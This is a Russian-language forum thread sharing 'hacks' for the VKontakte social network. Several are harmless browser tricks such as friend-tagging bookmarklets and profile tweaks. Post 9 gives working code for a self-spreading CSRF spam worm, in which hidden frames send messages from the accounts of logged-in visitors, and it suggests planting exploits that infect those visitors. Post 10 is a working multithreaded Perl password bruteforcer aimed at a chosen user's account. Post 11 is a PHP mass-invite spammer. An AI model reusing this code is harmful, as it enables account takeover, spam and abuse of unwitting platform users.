Форум девочек

Объявление

Время:

Спасибо!
Спасибо тем, кто зарегистрировался!!
Помните
У нас можно жаловаться
Модераторы:
Коди, Йа-мег@-Бл@ндинОчГооо, ШоКоЛаДкА
Эй!
Внимательно заполняйте анкету, не флудите!!!
Администраторы:
Царапка
Обьявление:
Мы делаем администратором только за большую активность!!!
Дорогие гости:
Девчонки, ведь мы вас ждём!!! Регистрируйтесь!!!
Про нас:
Мы очень хотим чтоб форум развивался!
Так что Пожалуйста, регистрируйтесь и приглашайте друзей!
Форум совсем новый так что гости не проходите мимо!
Требуются:
Участники, ёпт!

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » Форум девочек » Советы » По сайту вконтакте!


По сайту вконтакте!

Сообщений 1 страница 15 из 15

1

Тут я буду выкладывать хаки=)

0

2

Скрипт для отметки всех друзей на фото

Требования: Mozilla Firefox >= 2

Для того, чтобы отметить всех друзей на фотке, надо:
1. Откройте любую фотографию в вашем альбоме
2. Нажмите кнопку Отметить, чтобы подгрузился список ваших друзей
3. Вставьте в адресную строку следующий код. Только не забудьте убрать пробел в "java script" (оно выделено жирным шрифтом)

java script:(function() { function getPhotoInfo() { if(res = /id=(\d+)_(\d+)/.exec(location.href)) return {"mid": res[1], "pid": res[2]}; else return {"mid": 0, "pid": 0}; } function getMyID() { var anchs = document.getElementsByTagName("a"); for(i = 0; i < anchs.length; i++){ if(res = /id(\d+)/.exec(anchs[i].href)) return res[1]; } return 0; } window.adostes_mark = function(i){ if(friends == undefined || i >= friends.length){ if(rotating = document.getElementById("rotating")) rotating.innerHTML = "<h4> All friends have marked on this photo!</h4>"; window.clearTimeout(window.adostes_timer); return; } request_uri = "http://vkontakte.ru/photos.php?act=put&pid="+window.adostes_mid+"_"+window.adostes_pid+"&id="+window.adostes_mid+"&oid=0&subject="+friends[i]["id"]+"&name="+encodeURI(friends[i]["name"])+"&add=1&x="+(Math.random()*100)+"&y="+(Math.random()*100)+"&x2="+(Math.random()*100)+"&y2="+(Math.random()*100); img = new Image(); img.src = request_uri; if(commentArea = document.getElementById("commentArea")) commentArea.innerHTML = i + " of " + friends.length + " friends marked!"; var new_index = i+1; window.adostes_timer = window.setTimeout("window.adostes_mark(" + new_index + ")", 500); }; window.adostes_markallf = function(){ if(!friends){ alert("Click \"Mark human\"!"); return; } if(!confirm("Are you sure want to mark all friends?\r\nAuthor: Nikolay Khodov (id5500005)")) return; if(rotating = document.getElementById("rotating")) rotating.innerHTML = "<h4> Processing <img src=\"http://vkontakte.ru/images/upload.gif\"><br /> Please wait...</h4>"; window.adostes_timer = window.setTimeout("window.adostes_mark(0)", 0); }; var mid; var pid; var myid = getMyID(); var info = getPhotoInfo(); if(!(location.href.match(/vkontakte.ru/) && location.href.match(/photo/))) { alert("Open page with your photo"); return; } window.adostes_pid = info["pid"]; window.adostes_mid = info["mid"]; adostes_markallf(); })();

4. Нажмите Enter и ждите: в области ввода комментария отображается процесс отмечания.

0

3

Cкрипт для отмечания всех друзей на видио:
1) Выберите видео
2) Нажать кнопочку "отметить", чтоб высветился список Ваших друзей
3) В вверхней левой строке, вместо wwwvkontakte.ru пишете:
2)
java script:for(blabla=0;blabla<Тут;blabla++){ var elem = document.getElementById('f'+blabla); if(elem == null) break; elem.onclick(); }

между словами "java" и "script" удаляем пробел,где я написала слово тут там пишите количество ваших друзей жмём "Enter" и готово))) друзья отмечаются сами)))

...так же, если вы хотите найти себя в большом списке, то просто нажмите "Ctrl + F" в появившейся графе впишите своё имя и нажмите "Enter" и компьютер автоматически выделит Ваше имя!!!

+1

4

Как поставить дату рождения 666 и т.п.
http://vkontakte.ru/profileEdit.php?sub … igion_id=0

Разберём эту ссылку:
идём по ссылке sex=[1,2] это 1- жен; 2-муж
status=[1,2,3,4,5,6] 1-не женат(не замужем); 2-Есть подруга(Есть друг); 3-Помолвлен(а); 4-Женат(замужем); 5-Всё сложно; 6-В активном поиске.

status=[1,2,3,4,5,6] 1-не женат(не замужем); 2-Есть подруга(Есть друг); 3-Помолвлен(а); 4-Женат(замужем); 5-Всё сложно; 6-В активном поиске.

with=...[id такого человека, за которого можно выйти замуж, женится]

bday_day=...[день рождения]

bday_month=...[Месяц рождения]

bday_year=...[Год рождения Пример:90,89]

bday_visibility= 1 вкл [Показывать дату рождения на глав. сранице]

home_town= ...[Город, если после ровно ничего не указать, то ничего не появится]

political= [1-8] Полетические взгляды

id= [Ваш id] ТОЛЬКО обязательно!

0

5

Меняем дату рождения на любой день, месяц или год

1) если нет, то скачать Оперу 9.27
2) в контакте нажать на "ред." рядом с кнопкой "Моя страница"
3) нажать Ctrl+F3
4) прокрутить открывшийся код вниз до списка со строками вида <option value="1">1</option>
5) в найденном куске изменить в строке <option value="1">1</option> обе цифры 1 на одно и то же желаемое число
6) прокрутить еще немного вниз до списка годов и в </option><option value="1996">1996</option> изменить оба числа 1996 на одинаковые желаемые числа
7) посмотреть наверх и нажать кнопку "Сохранить изменения"
8) кликнуть на вкладку со страницей редактирования страницы контакта и выбрать в списках только что сделанные числа
9) нажать сохранить
10) зайти на свою страницу и убедиться, что все работает
ВНИМАНИЕ: подобная фишка с первого раза может не получиться!

0

6

Прикольный статус 1)Заходим в Opera. Именно ОПЕРА!

2)Идем на Мою страничку.

3)Нажимаем правой кнопкой мыши и выбираем "Исходный код".(Ctrl+U)

4)Нажимаем Правка->Найти(Ctrl+F).

5)В поле "Поиск" пишем <input style="background-position: center center;" class="inputtext" type="text" id="edit_activity_text" name="edit_activity_text" value="" maxlength="160" onblur="return activity_editor.blur();" onkeypress="return activity_editor.handle_key_press(event);" />

6)Заменяем это на <textarea id="edit_activity_text" name="edit_activity_text" onblur="return activity_editor.blur();" ></textarea>

7)Теперь можно писать статус в столбик, разделяя клавишей "Ввод"("Enter").

8)Чтобы зафиксировать статус надо кликнуть в любой точке экрана. Чтобы статус остался, т.к. Enter'ом уже его зафиксировать не получаеться=)

0

7

спасибо)) полезненько)

+1

8

нез

0

9

Саморассылающийся спам

В связи с тем, что изначально формы отправки сообщений и комментариев были ничем не защищены, то был получен довольно забавный опыт саморассылающегося спама. Это и по сей день остаётся актуальным, ибо часть скриптов по-прежнему не защищена.

Итак, рассмотрим, к примеру, скрипт отправки личных сообщений. Вообще, изначально пользователи взаимодействуют с ним посредством метода POST, но в самом скрипте метод не проверяется (то ли используется суперглобальный массив $_REQUEST, то ли register_globals=on).
Примечание: метод не имеет значения, просто метод GET несколько упрощает скрипт, о методе POST будет сказано ниже.

Чтобы отправить сообщение достаточно перейти по ссылке: http://vkontakte.ru/mail.php?act=sent&a … amp;am....
Сообщение будет отправленно в случае наличия куки. Собстсвенно, в этом и состоит идея - написать скрипт, который будет открывать эту ссылку в скрытом фрейме, рассылая наши сообщения.

Создадим три страницы:
1) index.html
Код HTML:

<frameset ROWS="100%,0%,0%"> <FRAME NAME="mainfrm" src="http://www.183.ru/2/"> <FRAME NAME="preved" src="preved.html"> <FRAME NAME="timer" src="timer.html"> </frameset>

2) preved.html
Код HTML:

<html><head></head><body></body></html>

3) timer.html
Код HTML:

<head> <script> function timer() { var msg = new String(); var msg_to ; do { msg_to=Math.ceil(Math.random()*1000000); } while (msg_to.value>1100000); // генерируем случайный id получателя msg=urlencode('Превед!'); // наше сообщение /> msg+='%0a'+parent.location; // добавим к сообщению ссылку на сайт, на котором мы расположены // отправим наше сообщение parent.preved.document.location="http://vkontakte.ru/mail.php?act=sent&to_id="+msg_to+"&title=&message="+msg; setTimeout("timer()", 1250); // И поставим сами себя на таймер } </script> </head> <body> <script> timer(); </script> </body>

Таким образом, скрипт во фрейме timer будет постоянно слать сообщения, используя фрейм preved, а фрейм mainfrm служит для отвода глаз.

Что делать, если скрипт поддерживает только метод POST? В этом случае нужно создать форму для отправки данных скрипту на сервере, и написать скрипт для отправки формы, вызывающий метод submit: document.our_form.submit();

Пример сего чуда в действии можно посмотреть тут: http://l-0-v-e.tu2.ru
Когда я опробовал это в действии, счётчик на странице насчитал 17400 человек, сходивших по ссылке. Не очень много, но всё же.
Сие милое развлечение было окрещено пользователями "вирусом".
"Какая же от этого практическая польза?" - спросите вы. Понавешайте на страницу илитных зиродей сплоетов, троянящих каждого зашедшего, и польза будет

+1

10

Многопоточный флудер

Ну и коль мы нахекали целую гору аккаунтов, отчего б не написать спаммер заметок.
How to use: аккаунты в accs.txt, прокси в proxies.txt. Для отправки каждого сообщения fork-ом создаётся потомок нашего процесса, если он живёт слишком долго - убивается. Под разными системами по-разному, на некоторых после завершения родительского процесса могут оставаться детишки-зомби
Код:

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

##########################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
##########################################
$dic = 'pass.txt'; #словарь паролей
$id = 111111; #id цели
$mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40
$threads = 4; #количество потоков
##########################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
"Host: vkontakte.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: Mozillo\r\n".
"Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
"сonnection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
my (@mas);
while (<pass>){
push @mas, $_;
last if (@mas > 500);
}
chomp @mas;
return @mas;
}

+1

11

Массовая приглашалка в группы vkontakte.ru (php)

Работает очень просто создаем на хосте у себя файл php, и вставляем этот код внутрь. Пользоваться просто: вводим рег данные вконтакте, номер группы приглашение которой хотим разослать и диапазон id пользователей, которым отправить приглашение. Как пользовать, сами разберетесь.

<?
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
#& Vkontakte.ru group inviter
#& By NNNS {icq: 474374}
#&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&

error_reporting(0);
set_time_limit(0);
# Всякие переменные
$user_agent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11";

$begin = intval($_POST['begin']);
$end = intval($_POST['end']);
$gid = intval($_POST['gid']);
$email = strip_tags($_POST['email'], "");
$pass = strip_tags($_POST['pass'], "");

if($begin == '') {$begin = "0";}
if($end == '') {$end = "0";}
if($gid == '') {$gid = "0";}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251" />
<title>ВКонтакте инвайтер (С) NNNS</title>
<style type="text/css">
<!--
.tablichko {
font-family: Arial, Helvetica, sans-serif;
background-color: #F7FCFD;
border-top-width: 1px;
border-bottom-width: 1px;
border-top-style: solid;
border-bottom-style: solid;
border-top-color: #E0F3F8;
border-bottom-color: #E0F3F8;
height: 100px;
}
.tit {
font-family: Georgia, "Times New Roman", Times, serif;
font-size: 24px;
color: #1C6679;
}
.comment {
font-family: Arial, Helvetica, sans-serif;
font-size: 10px;
color: #289AB7;
}
.inputko {
font-size: 12px;
color: #289AB7;
height: 16px;
text-align: center;
border-top-width: 1px;
border-left-width: 1px;
border-top-style: solid;
border-right-style: none;
border-bottom-style: solid;
border-left-style: solid;
border-top-color: #E0F3F8;
border-left-color: #E0F3F8;
border-bottom-width: 1px;
border-bottom-color: #E0F3F8;
}
.inputko:focus {
background-color: #E8F5F9;
}
.inputko2:focus {
background-color: #E8F5F9;
}
.inputko3:focus {
background-color: #FFF;
}
.buttoncheg {
color: #FFFFFF;
background-color: #1C6679;
border: 1px solid #E0F3F8;
height: 20px;
font-size: 12px;
width: 80px;
}
.inputko2 {
font-size: 12px;
color: #289AB7;
height: 16px;
text-align: center;
border-top-width: 1px;
border-top-style: solid;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-top-color: #E0F3F8;
border-bottom-width: 1px;
border-bottom-color: #E0F3F8;
border-right-width: 1px;
border-right-color: #E0F3F8;
}
.inputko3 {
font-size: 12px;
color: #289AB7;
height: 16px;
text-align: center;
width: 78px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: solid;
border-right-color: #E0F3F8;
border-bottom-color: #E0F3F8;
border-left-color: #E0F3F8;
background-color: #F7FCFD;
}
.vtab {
color: #48BAD7;
border-bottom-width: 1px;
border-bottom-style: solid;
border-bottom-color: #DFF3F9
font-size: 12px;
font-family: Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body>
<form method="post" action="">
<table width="100%" border="0" cellpadding="0" cellspacing="0" class="tablichko">
<tr>
<td align="center" valign="middle"><span class="tit"> ВКонтакте инвайтер<br />
</span>
<table border="0" cellpadding="0" cellspacing="0">
<tr>
<td colspan="2" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">Диапазон пользователей (с/до) </td>
<td valign="top">&nbsp;</td>
<td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">email </td>
<td width="100" align="center" valign="middle" bgcolor="#FDFFFF" class="comment">пароль</td>
</tr>
<tr>
<td valign="top"><input name="begin" type="text" class="inputko" id="begin" value="<?=$begin;?>" /></td>
<td valign="top"><input name="end" type="text" class="inputko" id="end" value="<?=$end;?>" /></td>
<td valign="top"><input name="submit" type="submit" class="buttoncheg" id="submit" value="Пригласить" /></td>
<td width="100" valign="top"><input name="email" type="text" class="inputko2" id="email" value="<?=$email;?>" /></td>
<td width="100" valign="top"><input name="pass" type="text" class="inputko2" id="pass" value="<?=$pass;?>" /></td>
</tr>
<tr>
<td valign="top">&nbsp;</td>
<td align="right" valign="middle"><span class="comment">ID группы &gt;</span></td>
<td align="center" valign="middle" bgcolor="#FDFFFF" class="error"><input name="gid" type="text" class="inputko3" id="gid" value="<?=$gid;?>" /></td>
<td width="200" colspan="2" valign="middle">&nbsp;</td>
</tr>
</table></td>
</tr>
</table>
</form>
<br />
<?php
if ($_POST['submit']) {
# Соединяемся с сервером ВКонтакте.ру
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
if (!fp) {die();}
# Авторизуемся
$out = "GET /login.php?email=".$email."&pass=".$pass." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: income=1\r\n";
$out .= "Content-Type:text/xml; charset=windows-1251\r\n\r\n";
fwrite($fp,$out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
fclose($fp);
# вытаскиваем кукисы из ответа сервера
preg_match("/revalidate(.*?)Location/is", $ans, $cookies);
$cookies = str_replace("Set-Cookie: ", "",$cookies[1]);
preg_match("/remixchk(.*?);/is", $cookies, $cook1);
preg_match("/remixmid(.*?);/is", $cookies, $cook2);
preg_match("/remixemail(.*?);/is", $cookies, $cook3);
preg_match("/remixpass(.*?);/is", $cookies, $cook4);
$cook1 = "remixchk=".$cook1[1]."; ";
$cook2 = "remixmid=".$cook2[1]."; ";
$cook3 = "remixemail=".$cook3[1]."; ";
$cook4 = "remixpass=".$cook4[1]."; ";
$acook = $cook1.$cook2.$cook3.$cook4;
$acook = str_replace ("==", "=", $acook);
# Открываем новое соединение
for($i=$begin;$i<$end;$i++) {
$fp=fsockopen("vkontakte.ru",80,$errno,$errstr,10);
$out = "GET /groups.php?act=ajaxinv&gid=".$gid."&id=".$i." HTTP/1.0\r\n";
$out .= "Host: vkontakte.ru\r\n";
$out .= "User-Agent: ".$user_agent."\r\n";
$out .= "Cookie: ".$acook."\r\n\r\n";
fwrite($fp, $out);
$ans='';
while(!feof($fp))
{
$ans.=fgets($fp,128);
}
# достаем результат
preg_match("/>(.*?)</is", $ans, $result);
# Выводим его
echo "<center><table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" class=\"vtab\">
<tr>
<td width=\"70\" valign=\"middle\">".$i."</td>
<td width=\"350\" valign=\"middle\">".$result[1]."</td>
</tr>
</table><center>";
ob_flush();
flush();
fclose($fp);
sleep(1);
}
}
?>

</body>
</html>

0

12

Сидеть в контакте и быть офлайн.

Способ есть. Нужно НЕ заходить на скрипт profile.php. Очень полезно, когда сидите не под своим акком. То есть подойдут все остальные скрипты, кроме этого. В этом случае в онлайн человек не добавляется.

0

13

Маш неплохо ты вставила но тут прокси серверы потом будут глючить если создать php cтраницу

0

14

Отменить заявку добавления в друзья.

Для отмены заявки нужно скопировать в адресную строку вашего браузера следующую ссылку: http://vkontakte.ru/friend.php?act=remo … id=000000, где 000000 нужно заменить на нужный Вам ID.

0

15

Пустое имя и фамилия!
Это возможно только при регистрации:

Способ 1
1. вводим в поле имени и фамилии по два пробела
2. заполняем остальное
Жмём зарегистрироваться, всё!

Способ 2
1. заполняем всё, кроме имени и фамилии
2. копируем в адресную строку java script: this.disabled=true; document.regMe.submit();
3. стираем пробел между java и script, нажимаем enter, всё.

0


Вы здесь » Форум девочек » Советы » По сайту вконтакте!